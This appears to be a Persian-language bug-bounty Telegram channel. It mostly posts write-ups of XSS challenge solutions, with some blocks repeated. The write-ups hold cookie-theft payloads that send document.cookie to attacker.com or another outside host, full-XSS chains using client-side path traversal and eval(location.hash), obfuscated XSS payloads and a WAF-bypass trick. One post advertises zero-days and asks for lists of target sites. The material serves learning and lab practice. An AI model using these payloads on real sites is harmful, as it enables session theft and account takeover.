Forwarded from GO-TO CVE (| | Sharo K h | |)
Solution:
هدف اصلی ما از این چالش این بود که در مرورگرها، آبجکت window یک property به نام name داره که بهصورت پیشفرض یک رشتهٔ خالیه.
در مرورگر Google Chrome، وقتی مقداری برای این property ست میکنیم، کروم اون مقدار رو پاک نمیکنه مگر اینکه یه مقدار جدید جایگزینش بشه یا کل window بسته بشه.
اکسپلویت این موضوع به این شکله:
بعد از اینکه پنجره به سایت اتکر ریدایرکت شد، اونجا میشه یه کد جاوااسکریپت نوشت و مقدار کوکی رو از داخل window.name خوند.
هدف اصلی ما از این چالش این بود که در مرورگرها، آبجکت window یک property به نام name داره که بهصورت پیشفرض یک رشتهٔ خالیه.
در مرورگر Google Chrome، وقتی مقداری برای این property ست میکنیم، کروم اون مقدار رو پاک نمیکنه مگر اینکه یه مقدار جدید جایگزینش بشه یا کل window بسته بشه.
اکسپلویت این موضوع به این شکله:
";window.name=document.cookie;location.href="//attacker.com";//
بعد از اینکه پنجره به سایت اتکر ریدایرکت شد، اونجا میشه یه کد جاوااسکریپت نوشت و مقدار کوکی رو از داخل window.name خوند.
❤4👏2
خب چلنج شاهرخ خیلی خوب بود چون ریسترکشن هاش زیاد بود و واسه بیشتر راه ها دستمونو میبست
منم روش اصلی رو اصلا نمیدونستم و واقعا باحال بود . اینکه window.name توی کروم برای هر تب (window) مقدارش بعد از جابه جایی بین origin های مختلف تغییر نمیکنه
حالا روشی که من رفتم (steal cookie only):
https://rouhbakhsh.xyz/index2.php?j&q=x%22;window.onload=fetch;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name=%22//google.com/%22;Event.prototype.message=document.cookie//
من یه چیز خیلی جالبو فهمیدم و با اون تونستم کوکیو بدزدم.
تیکه کد پایینو ببینید:
بعد از اینکه روش های مشابه اینو رفتم دیدم
متوجه شدم که prototype میتونه property های متفاوتی داشته باشه مثل message
حالا اومدم هردو رو باهم نوشتم و یه چیز خیلی عجیب دیدم
و توی الرت:
name: message
اینو دیدم
و خب کار دیگه خیلی ساده شد:
https://rouhbakhsh.xyz/index2.php?j&q=x%22;window.onload=fetch;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name=%22//google.com/%22;Event.prototype.message=document.cookie//
اینجوری کوکی رو میتونی بفرستی واسه هر سایتی که میخوای
روش بعدی FULL XSS
راستش از اولش هم دنبال این بودم که کامل xss کنم و حالا با اون گجت خیلی کارا میشد کرد:
Event.prototype.name="window.location=javanoscript"
من اینجا به بعد سریع به جواب رسیدم و چیز زیادیو تست نکردم. پس اگه با روش دیگه ای زدید حتما تو کامنت بگید:
حالا باید یه جوری مقدار message رو کد js میذاشتم. و متاسفانه اینجا نتونستم با hash بزنم چون مستقیم هشتگ میفتاد اون اول و خرابش میکرد.
ایده ای که سریع به ذهنم رسید
این بود که با
location.pathname
بزنمش
و اینجا یه گجت دیگه هم پیدا کردم:
CSPT
https://rouhbakhsh.xyz//%0Aeval(location.hash.substr(1))'//%2f..%2findex2.php?q=x%22;window.onload=setTimeout;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name=%22window.location=%27javanoscript%22;Event.prototype.message=location.pathname//#alert(origin)
میخواید پیلود رو ببینید چطوری شده. اون setTimeout رو بکنید alert
تشکر زیاد از شاهرخ:
@Sharo_K_h
منم روش اصلی رو اصلا نمیدونستم و واقعا باحال بود . اینکه window.name توی کروم برای هر تب (window) مقدارش بعد از جابه جایی بین origin های مختلف تغییر نمیکنه
حالا روشی که من رفتم (steal cookie only):
https://rouhbakhsh.xyz/index2.php?j&q=x%22;window.onload=fetch;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name=%22//google.com/%22;Event.prototype.message=document.cookie//
من یه چیز خیلی جالبو فهمیدم و با اون تونستم کوکیو بدزدم.
تیکه کد پایینو ببینید:
window.onload=alert;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name
بعد از اینکه روش های مشابه اینو رفتم دیدم
متوجه شدم که prototype میتونه property های متفاوتی داشته باشه مثل message
حالا اومدم هردو رو باهم نوشتم و یه چیز خیلی عجیب دیدم
window.onload=alert;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name="name";Event.prototype.message="message"
و توی الرت:
name: message
اینو دیدم
و خب کار دیگه خیلی ساده شد:
https://rouhbakhsh.xyz/index2.php?j&q=x%22;window.onload=fetch;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name=%22//google.com/%22;Event.prototype.message=document.cookie//
اینجوری کوکی رو میتونی بفرستی واسه هر سایتی که میخوای
روش بعدی FULL XSS
راستش از اولش هم دنبال این بودم که کامل xss کنم و حالا با اون گجت خیلی کارا میشد کرد:
Event.prototype.name="window.location=javanoscript"
window.location=javanoscript : (Event.prototype.message)
من اینجا به بعد سریع به جواب رسیدم و چیز زیادیو تست نکردم. پس اگه با روش دیگه ای زدید حتما تو کامنت بگید:
حالا باید یه جوری مقدار message رو کد js میذاشتم. و متاسفانه اینجا نتونستم با hash بزنم چون مستقیم هشتگ میفتاد اون اول و خرابش میکرد.
javanoscript:#anything
ایده ای که سریع به ذهنم رسید
این بود که با
location.pathname
بزنمش
و اینجا یه گجت دیگه هم پیدا کردم:
CSPT
https://rouhbakhsh.xyz//%0Aeval(location.hash.substr(1))'//%2f..%2findex2.php?q=x%22;window.onload=setTimeout;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name=%22window.location=%27javanoscript%22;Event.prototype.message=location.pathname//#alert(origin)
میخواید پیلود رو ببینید چطوری شده. اون setTimeout رو بکنید alert
تشکر زیاد از شاهرخ:
@Sharo_K_h
🔥9👏2❤1
BugBounty & Hacking Resources
خب چلنج شاهرخ خیلی خوب بود چون ریسترکشن هاش زیاد بود و واسه بیشتر راه ها دستمونو میبست منم روش اصلی رو اصلا نمیدونستم و واقعا باحال بود . اینکه window.name توی کروم برای هر تب (window) مقدارش بعد از جابه جایی بین origin های مختلف تغییر نمیکنه حالا روشی…
اینم یادم رفت اضافه کنم:
@arlrouh
خودش یه راه حل دیگه پیدا کرد که بدون cspt و تبدیل شد به full xss
اگه دوس داشت خودش تو کامنت میفرسته
@arlrouh
خودش یه راه حل دیگه پیدا کرد که بدون cspt و تبدیل شد به full xss
اگه دوس داشت خودش تو کامنت میفرسته
❤6👍1
❤7🔥2
چند ماهی هست که نمیتونم درست حسابی فعالیت کنم
برای همین بوده دیگه مقاله نذاشتم و خودمم زیاد نخوندم😅
تصمیم گرفتم دوباره برگردم
و هرروز هانت کنم
دوباره هرچی بخونم شیر میکنم باهاتون
برای همین بوده دیگه مقاله نذاشتم و خودمم زیاد نخوندم😅
تصمیم گرفتم دوباره برگردم
و هرروز هانت کنم
دوباره هرچی بخونم شیر میکنم باهاتون
❤16👍3
لینکدینتونو چطوری اکتیو کردید دوباره؟
ریسترکشن خوردم و میگه باید id verify کنی
ریسترکشن خوردم و میگه باید id verify کنی
❤3
چه عددی آلرت میشه؟
```
x=[(3,4,5,1,2),alert]; x[1].bind(top)([3,5,4,2,1][x[0]]) ```
```
x=[(3,4,5,1,2),alert]; x[1].bind(top)([3,5,4,2,1][x[0]]) ```
Anonymous Quiz
28%
1
4%
2
29%
3
29%
4
9%
5
🔥4❤2👍1
🆘 رفقا اینو میتونید حل کنید:
https://lab.jsecurity.ir/lab2/
راه حل های خلاقانه تون رو میخوام بزارم توی هفته نامه Jsecurity .
داستانش اینه که CSRF توی کلوژر گیرکرده، و شما بایستی اونو بدست بیارید و درخواست بزنید به /update و فلگ رو توی صفحه چاپ کنید.
یه پارامتر q داره که به xss آسیب پذیره.
اپدیت: برای دیدن فلگ هم میتونید پاسخ اینو ببینید
https://lab.jsecurity.ir/lab2/
راه حل های خلاقانه تون رو میخوام بزارم توی هفته نامه Jsecurity .
داستانش اینه که CSRF توی کلوژر گیرکرده، و شما بایستی اونو بدست بیارید و درخواست بزنید به /update و فلگ رو توی صفحه چاپ کنید.
یه پارامتر q داره که به xss آسیب پذیره.
اپدیت: برای دیدن فلگ هم میتونید پاسخ اینو ببینید
await fetch("https://lab.jsecurity.ir/lab2/update", {
"credentials": "include",
"headers": {
"Content-Type": "application/x-www-form-urlencoded",
},
"body": "_csrf=5yuyw85r-R_--IWCQfIFOE68dIE6QWdhrUWg&data=pwned",
"method": "POST",
"mode": "cors"
});❤9
Another XSS Payload:
https://x.com/hoseinshurabi/status/1960794897465926038
{document.body.setAttribute('contenteditable',true)}document.execCommand('insert'+'HTML',false,'<img/'+'src/'+'o'+'nerror=a'+'lert('+'/catfather/)>')https://x.com/hoseinshurabi/status/1960794897465926038
🔥14
BugBounty & Hacking Resources
🆘 رفقا اینو میتونید حل کنید: https://lab.jsecurity.ir/lab2/ راه حل های خلاقانه تون رو میخوام بزارم توی هفته نامه Jsecurity . داستانش اینه که CSRF توی کلوژر گیرکرده، و شما بایستی اونو بدست بیارید و درخواست بزنید به /update و فلگ رو توی صفحه چاپ کنید. یه…
این eval, atob, hash هم فیلتر کردم
خیلی کلکین 😄
باز ببینم چه ایده ایی میرسه به ذهنتون.😎
خیلی کلکین 😄
باز ببینم چه ایده ایی میرسه به ذهنتون.😎
❤2🤣1
Another XSS payload 😂
https://x.com/hoseinshurabi/status/1961085469216645322
{_=new Set()}{_[Symbol.iterator]=confirm.bind(null,'Catfather is here: '+navigation.currentEntry.url)}[_]=_
https://x.com/hoseinshurabi/status/1961085469216645322
🔥10 1
https://x.com/xssdoctor/status/1961157661048578402?s=46
cspt waf bypass
key part:
cspt waf bypass
key part:
However, as mentioned on ctbbpodcast, fetch will REMOVE a tab (%09) from the url. So if you enter target.com/123456%5c.%09.…, the js will often url decode, then remove the tab and normalize \ to / and requests api.target.com/api/v1/whatever. If you repeat the pattern, you can often get down to the api root
X (formerly Twitter)
xssdoctor (@xssdoctor) on X
Found a great waf bypass for client side path traversal (a thread)
❤6
https://x.com/hoseinshurabi/status/1963639674838081947
خبر خوب برای بچه های هفته نامه، من امروز با
آدام صحبت کردم و به کامیونتی فارسی زبان محبت داشتن و قرار شد بین کسانی که لابراتوری مرتبط به هفته ۷ رو حل کنند قرعه کشی کنیم و به یک نفر از طرف @hackinghub_io دوره Hands-On Web Exploitation جایزه بدیم.
خبر خوب برای بچه های هفته نامه، من امروز با
آدام صحبت کردم و به کامیونتی فارسی زبان محبت داشتن و قرار شد بین کسانی که لابراتوری مرتبط به هفته ۷ رو حل کنند قرعه کشی کنیم و به یک نفر از طرف @hackinghub_io دوره Hands-On Web Exploitation جایزه بدیم.
❤18👍2
گایز چند تا Zeroday دارم
اگه دیتابیس خوبی از تارگتا دارید @meydi7
بیاید پیوی
شامل url باشه یا اینکه ریسپانس / سایتو داشته باشید و بتونید سرچ کنید
اگه دیتابیس خوبی از تارگتا دارید @meydi7
بیاید پیوی
شامل url باشه یا اینکه ریسپانس / سایتو داشته باشید و بتونید سرچ کنید
🤯6🔥4❤2
مقاله زیرو کلیک ato من:
https://mey-d.github.io/posts/zero-click-ato-persian/
امیدوارم لذت ببرید
https://x.com/neotrony/status/1964141250686169414
https://mey-d.github.io/posts/zero-click-ato-persian/
امیدوارم لذت ببرید
https://x.com/neotrony/status/1964141250686169414
X (formerly Twitter)
mehdi parandin (@neotrony) on X
اولین مقاله م به فارسی. توضیح یکی از باگ هام:
Zero Click ATO
فلو یا تریک خاصی نیس. صرفا ریکانه و درک اپلیکیشن
امیدوارم خوشتون بیاد
https://t.co/Nm2GbOh1DC
Zero Click ATO
فلو یا تریک خاصی نیس. صرفا ریکانه و درک اپلیکیشن
امیدوارم خوشتون بیاد
https://t.co/Nm2GbOh1DC
❤19 6🔥3